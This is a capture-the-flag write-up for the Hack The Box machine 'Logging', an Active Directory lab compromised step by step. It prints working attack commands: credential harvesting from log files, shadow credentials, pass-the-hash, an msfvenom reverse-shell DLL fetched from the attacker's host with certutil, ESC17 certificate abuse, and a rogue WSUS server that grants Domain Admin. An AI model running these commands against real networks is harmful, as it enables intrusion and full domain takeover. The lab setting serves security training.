HTB: Logging Writeup

HTB: Logging Writeup

in

Summary

Logging is a medium Windows Active Directory machine that begins with provided low-privilege credentials for wallace.everette. An SMB share named Logs exposes application trace files, one of which contains plaintext credentials for svc_recovery embedded in an LDAP connection context dump. The account is restricted from standard logon but a TGT can be obtained via Kerberos pre-auth, which is enough to exploit a GenericWrite over the managed service account MSA_HEALTH$ using shadow credentials. From that foothold, enumeration of a scheduled task reveals that a custom update utility runs as jaylee.clifton and loads a DLL from a path writable by standard users. Dropping a malicious DLL inside a ZIP archive into the watched directory triggers the task and lands a shell as jaylee.clifton. That account is a member of the IT group, which holds enrollment rights on a certificate template named UpdateSrv - a textbook ESC17 configuration. Because jaylee.clifton also has DNS creation rights, we forge a wsus.logging.htb record, request a server-auth certificate for that name, and stand up a rogue WSUS server. When the domain controller polls the spoofed update endpoint, our injected command adds MSA_HEALTH$ to Domain Admins, giving us full control of the domain.

Recon

Nmap

The initial scan returns a port list that screams Windows domain controller: DNS, Kerberos, LDAP, RPC, SMB, WinRM, and a couple of ports in the 8530/8531 range that are worth noting.

rustscan 10.129.23.62 -- -Pn -A -oA fulltcp
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
8530/tcp  open  http          Microsoft IIS httpd 10.0
8531/tcp  open  ssl/unknown
9389/tcp  open  mc-nmf        .NET Message Framing
<SNIP>
Service Info: Host: DC01; OS: Windows

The LDAP certificate confirms the domain is logging.htb with a hostname of DC01.logging.htb. Ports 8530 and 8531 are the default HTTP and HTTPS ports for Windows Server Update Services (WSUS) - worth keeping in the back of the mind.

Setting Up

With credentials in hand from the start, I generate the hosts file and Kerberos config and also kick off a BloodHound collection immediately so that data is available whenever I need it.

nxc smb 10.129.23.62 --generate-hosts-file hosts
nxc smb 10.129.23.62 --generate-krb5-file krb5
cat hosts | sudo tee -a /etc/hosts
cat krb5 | sudo tee /etc/krb5.conf
10.129.23.62     DC01.logging.htb logging.htb DC01
rusthound-ce -d logging.htb -c All -u 'wallace.everette' -i 10.129.23.62 -z --dns-tcp
[*] MachineAccountQuota: 10
[*] Found 12 enabled certificate templates
[*] 14 users parsed!
[*] 65 groups parsed!
[*] 1 computers parsed!
[*] 34 certtemplates parsed!
[*] .//20260424142821_logging-htb_rusthound-ce.zip created!

The 12 enabled certificate templates are interesting straight away - ADCS is configured and active on this domain.

Port 80

The web server on port 80 returns the default IIS page. Directory fuzzing turns up nothing of note; there are no hosted applications here.

LDAP

Before diving into shares, I check for low-hanging fruit on LDAP - Kerberoastable and ASREProastable accounts.

nxc ldap 10.129.23.62 -u 'wallace.everette' -p '[REDACTED]' --kerberoast kerberoast.out
nxc ldap 10.129.23.62 -u 'wallace.everette' -p '[REDACTED]' --asreproast asrep.out
[*] Skipping disabled account: krbtgt
[*] Total of records returned 0
...
No entries found!

No kerberoastable accounts beyond the disabled krbtgt, and nothing ASREProastable either. Moving on.

SMB

nxc smb 10.129.23.62 -u wallace.everette -p '[REDACTED]' --shares
SMB  10.129.23.62  445  DC01  Share           Permissions     Remark
SMB  10.129.23.62  445  DC01  -----           -----------     ------
SMB  10.129.23.62  445  DC01  ADMIN$                          Remote Admin
SMB  10.129.23.62  445  DC01  C$                              Default share
SMB  10.129.23.62  445  DC01  IPC$            READ            Remote IPC
SMB  10.129.23.62  445  DC01  Logs            READ
SMB  10.129.23.62  445  DC01  NETLOGON        READ            Logon server share
SMB  10.129.23.62  445  DC01  SYSVOL          READ            Logon server share
SMB  10.129.23.62  445  DC01  WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

The Logs share stands out - it is non-standard and readable. The WSUSTemp share reinforces what the port scan already suggested: WSUS is in play here. Let me grab everything from Logs.

smbclient //10.129.23.62/Logs -U 'logging.htb\wallace.everette'
smb: \> dir
  Audit_Heartbeat.log
  IdentitySync_Trace_20260219.log
  Service_State.log
  TaskMonitor.log
smb: \> prompt off
smb: \> mget *

Most of the files are routine heartbeat and state entries. The interesting one is IdentitySync_Trace_20260219.log. Buried in its LDAP connection initialization output is a connection context dump that was not supposed to end up in logs:

[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: {
  Domain: "logging.htb",
  Server: "DC01",
  SSL: "False",
  BindUser: "LOGGING\svc_recovery",
  BindPass: "[REDACTED]",
  Timeout: 30
}
[2026-02-09 03:00:03.488] [PID:4102] [Thread:04] ERROR - LdapException: AcceptSecurityContext error, data 52e

Credentials for svc_recovery, logged in plaintext at VERBOSE level during an LDAP bind that subsequently failed - a classic case of debug logging left enabled in production. The error code 52e is LDAP_INVALID_CREDENTIALS, which is a bit confusing since we can see the password right there, but the key detail is that this particular session used the wrong password or a stale one. The credential itself is valid though, as we’re about to confirm.

Shell as MSA_HEALTH$

Pivoting to svc_recovery

Trying the credential over SMB fails immediately with an account restriction:

nxc smb 10.129.23.62 -u svc_recovery -p '[REDACTED]'
[-] logging.htb\svc_recovery:[REDACTED] STATUS_ACCOUNT_RESTRICTION

STATUS_ACCOUNT_RESTRICTION means the password was accepted but the logon was blocked by policy - interactive logon is most likely disabled for this account. Attempting LDAP with Kerberos auth via nxc returns a different error:

nxc ldap 10.129.23.62 -u svc_recovery -p '[REDACTED]' -k
[-] logging.htb\svc_recovery:[REDACTED] KDC_ERR_PREAUTH_FAILED

KDC_ERR_PREAUTH_FAILED is a Kerberos pre-authentication failure - different from an account restriction. nxc’s Kerberos path appears to be behaving differently from impacket’s implementation here. Trying getTGT.py directly works fine:

getTGT.py 'LOGGING.HTB/svc_recovery:[REDACTED]'
export KRB5CCNAME=/home/itzvenom/boxes/htb/logging/svc_recovery.ccache
[*] Saving ticket in svc_recovery.ccache

With a valid TGT, we can now authenticate to any Kerberos-aware service as svc_recovery.

Shadow Credentials Against MSA_HEALTH$

BloodHound shows that svc_recovery has GenericWrite over the managed service account MSA_HEALTH$.

GenericWrite over an account allows us to modify the msDS-KeyCredentialLink attribute, which is the basis of the shadow credentials attack. The idea is simple: we add our own certificate’s public key to that attribute. When the account next performs Kerberos authentication, the KDC will issue a TGT that we can decrypt with our private key - without ever needing or knowing the account’s actual password. This works because PKINIT (public key Kerberos) validates certificate ownership rather than a shared secret.

pywhisker -d "logging.htb" -u "svc_recovery" -k --no-pass --dc-ip 10.129.23.62 \
  --target "MSA_HEALTH$" --action "add"
[*] Generating certificate
[*] KeyCredential generated with DeviceID: e10f6d9c-c5dd-ca0e-67c0-d851e4a0a523
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: sEb6EfHf.pfx
[*] Must be used with password: 7gLNBD4qmHszf3sqMkZl

Now we use the generated certificate to get a TGT for MSA_HEALTH$ via PKINIT, then extract the account’s NT hash from the PAC:

python3 gettgtpkinit.py -dc-ip 10.129.23.62 \
  -cert-pfx sEb6EfHf.pfx -pfx-pass 7gLNBD4qmHszf3sqMkZl \
  'LOGGING.HTB/MSA_HEALTH$' 'MSA_HEALTH$.ccache'
[*] AS-REP encryption key (you might need this later):
    e8d06a150248d068a435b6140f293254b1e7416c4015e87c7873c60bdedc55e7
[*] Saved TGT to file
export KRB5CCNAME=./MSA_HEALTH\$.ccache
python3 getnthash.py -k e8d06a150248d068a435b6140f293254b1e7416c4015e87c7873c60bdedc55e7 \
  -dc-ip 10.129.23.62 'LOGGING.HTB/MSA_HEALTH$'
Recovered NT Hash
[REDACTED]

With the NT hash we connect via Evil-WinRM using pass-the-hash:

evil-winrm -i DC01.logging.htb -u 'MSA_HEALTH$' -H '[REDACTED]'

Shell as jaylee.clifton

Enumerating the Scheduled Task

The MSA_HEALTH$ account has a Documents folder containing a PowerShell script called monitor.ps1. Reading it reveals that this script monitors a scheduled task named UpdateChecker Agent and appends health status entries to C:\Share\Logs\TaskMonitor.log - which explains the TaskMonitor.log file we found on the SMB share earlier.

*Evil-WinRM* PS C:\Users\msa_health$\Documents> type monitor.ps1
$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask($TaskName)
<SNIP>
Add-Content -Path $LogPath -Value $Message

The script uses the COM interface instead of Get-ScheduledTask - likely to avoid CIM/WMI permission restrictions. The same COM interface works for us to interrogate the task directly:

$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Actions
$task.Definition.Principal
Path      : "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
Arguments : 500 /scan=3 /autofix=true

UserId    : jaylee.clifton
LogonType : 1

The task runs as jaylee.clifton. The binary is UpdateMonitor.exe. Checking the permissions on the directory:

icacls "C:\Program Files\UpdateMonitor"
C:\Program Files\UpdateMonitor logging\IT:(OI)(CI)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Administrators:(I)(F)
                               BUILTIN\Users:(I)(RX)
<SNIP>

The logging\IT group has full control over the entire directory, including all objects and containers within it. MSA_HEALTH$ is not in IT, but we can still read the binary and understand its behavior.

Understanding UpdateMonitor.exe

Running the binary manually reveals its logic:

*Evil-WinRM* PS C:\Program Files\UpdateMonitor> .\UpdateMonitor.exe --help
[2026-04-24 14:38:13] Starting Sentinel Update Check...
[2026-04-24 14:38:13] Checking for update on core server...
[2026-04-24 14:38:13] Info: Core did not find file Settings_Update.zip
[2026-04-24 14:38:13] Checking for update on local server...
[2026-04-24 14:38:13] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-24 14:38:13] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-24 14:38:13] Failed to load settings_update.dll. Error code: 126
[2026-04-24 14:38:13] Update check completed.

The flow is clear: the binary looks for Settings_Update.zip in C:\ProgramData\UpdateMonitor\, extracts it to C:\Program Files\UpdateMonitor\bin\, and then loads settings_update.dll from that location. Error 126 is ERROR_MOD_NOT_FOUND - the DLL simply does not exist yet, so LoadLibrary fails cleanly. The question now is whether we can write to C:\ProgramData\UpdateMonitor\:

icacls "C:\ProgramData\UpdateMonitor"
C:\ProgramData\UpdateMonitor NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                             BUILTIN\Administrators:(I)(OI)(CI)(F)
                             BUILTIN\Users:(I)(OI)(CI)(RX)
                             BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

BUILTIN\Users has write, create, and append data permissions on the directory itself. We can create Settings_Update.zip here. Since MSA_HEALTH$ is a domain account and a regular user principal, this permission applies to us.

DLL Hijack

I generate a reverse shell DLL, package it in a ZIP, and transfer it:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f dll -o settings_update.dll
zip Settings_Update.zip settings_update.dll
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> certutil.exe -urlcache -split -f http://10.10.14.24/Settings_Update.zip Settings_Update.zip

With a listener running, I wait for the scheduled task to fire. After a few minutes the task triggers and the logs show:

[2026-04-24 15:02:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-04-24 15:02:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-24 15:02:15] Failed to load settings_update.dll. Error code: 193

Error 193 is ERROR_BAD_EXE_FORMAT - the binary architecture is wrong. The 64-bit DLL was rejected because the process is 32-bit. Rebuilding with the correct target fixes this:

msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 -f dll -o settings_update.dll
zip Settings_Update.zip settings_update.dll

On the next task execution, the shell arrives:

[*] Started reverse TCP handler on 10.10.14.24:443
[*] Command shell session 1 opened (10.10.14.24:443 -> 10.129.23.62:56195)

C:\Users\jaylee.clifton\Desktop> type user.txt
[REDACTED]

Shell as SYSTEM

Certificate Template Enumeration

jaylee.clifton is a member of the IT group, which BloodHound flagged as having enrollment rights against a template. Before doing anything else, I need to get jaylee.clifton’s credentials into a usable form. Since we have execution in their session context, Rubeus can extract a delegation TGT directly from the current logon session:

certutil.exe -urlcache -split -f http://10.10.14.24/Rubeus.exe rubeus.exe
.\rubeus.exe tgtdeleg /nowrap
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] base64(ticket.kirbi):
      doIFyDCCBcSgAwIBBa...

Back on the attacking machine, convert the ticket and use it with certipy:

cat ticket.kirbi | base64 -d > ticket_decoded.kirbi
ticketConverter.py ticket_decoded.kirbi jaylee.clifton.ccache
export KRB5CCNAME=./jaylee.clifton.ccache

certipy-ad find -u jaylee.clifton@logging.htb -k -dc-ip 10.129.23.62 \
  -target DC01.logging.htb -enable -stdout
Certificate Templates
  0
    Template Name                       : UpdateSrv
    Display Name                        : UpdateSrv
    Enabled                             : True
    Client Authentication               : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Authorized Signatures Required      : 0
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOGGING.HTB\IT
                                          LOGGING.HTB\Domain Admins
                                          LOGGING.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOGGING.HTB\IT

This is ESC17 - a certificate template misconfiguration that is closely related to ESC1 but targets server authentication rather than client authentication.

ESC17 - What Makes It Dangerous

Standard ESC1 abuses templates where a low-privilege user can specify an arbitrary UPN (user identity) in the Subject Alternative Name, then use that certificate for Kerberos authentication as the impersonated user. ESC17 works differently: the template here allows Server Authentication rather than client/domain authentication. You cannot use a server-auth certificate to log in as a domain user - but you can use it to impersonate a server that other machines trust.

The UpdateSrv template has every condition for ESC17: the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is set so the requester controls the certificate subject, the EKU is Server Authentication, enrollment is open to the IT group without manager approval, and no authorized signature is required. This means any member of IT can request a certificate for an arbitrary DNS name - including wsus.logging.htb.

The attack surface here is WSUS. Windows clients that use WSUS for updates periodically poll the configured update server endpoint. If an attacker controls that endpoint’s certificate and DNS record, they can serve responses as if they were the legitimate WSUS server. For HTTPS-enabled WSUS (port 8531), a valid server certificate is the only barrier to interposing on this traffic. The UpdateSrv template removes that barrier.

bloodyAD --host dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k add dnsRecord 'wsus' 10.10.14.24

With that record in place, any machine in the domain that resolves wsus.logging.htb will be directed to us.

The chain is therefore:

  • Request a certificate for wsus.logging.htb using UpdateSrv
  • Add a DNS A record for wsus.logging.htb pointing at our IP
  • Start a rogue WSUS server on port 8531 with that certificate
  • Wait for the domain controller (or another machine configured to use WSUS) to poll the endpoint
  • Serve a malicious update payload that runs as SYSTEM

Requesting the Certificate

certipy-ad req -u 'jaylee.clifton@logging.htb' -k \
  -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip 10.129.23.62 \
  -ca 'logging-DC01-CA' -template 'UpdateSrv' -dns 'wsus.logging.htb'
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'wsus.logging.htb'
[*] Saving certificate and private key to 'wsus.pfx'

The CA issued the certificate without question - there is no approval gate, and the template explicitly allows the requester to supply the subject. We now hold a certificate that any machine in this domain will accept as proof that we are the legitimate wsus.logging.htb server.

wsuks expects the certificate and key as a combined PEM file rather than PFX, so we extract each component and concatenate them:

certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem

Rogue WSUS Server

With the certificate ready, the wsuks tool handles the rogue WSUS service. It binds to port 8531, presents our certificate over TLS, and when a client connects and requests updates, it responds with a spoofed update record. The “update” payload is a Microsoft-signed binary (PsExec64.exe) invoked with arguments that execute our chosen command - in this case, adding MSA_HEALTH$ to Domain Admins:

sudo wsuks --serve-only --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 \
  -c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'
[+] Received POST request: /ClientWebService/client.asmx (GetConfig)
[+] Received POST request: /ClientWebService/client.asmx (GetCookie)
[+] Received POST request: /ClientWebService/client.asmx (SyncUpdates)
[+] Received POST request: /ClientWebService/client.asmx (GetExtendedUpdateInfo)
[+] Received GET request: /1a9aa186-d892-48ba-b056-dd5ce1b32f8c/PsExec64.exe
[+] GET request for exe: /1a9aa186-d892-48ba-b056-dd5ce1b32f8c/PsExec64.exe

The machine polls the rogue endpoint, fetches the update binary, and runs it as SYSTEM. Verifying from our existing MSA_HEALTH$ shell:

*Evil-WinRM* PS C:\Users\msa_health$\Documents> Get-ADGroupMember "Domain Admins"
SamAccountName    : Administrator
SamAccountName    : toby.brynleigh
SamAccountName    : msa_health$

MSA_HEALTH$ is now a Domain Admin. Reconnecting via Evil-WinRM with the existing hash, we have full access to the domain. The root flag is on toby.brynleigh’s desktop:

*Evil-WinRM* PS C:\Users\toby.brynleigh\Desktop> type root.txt
[REDACTED]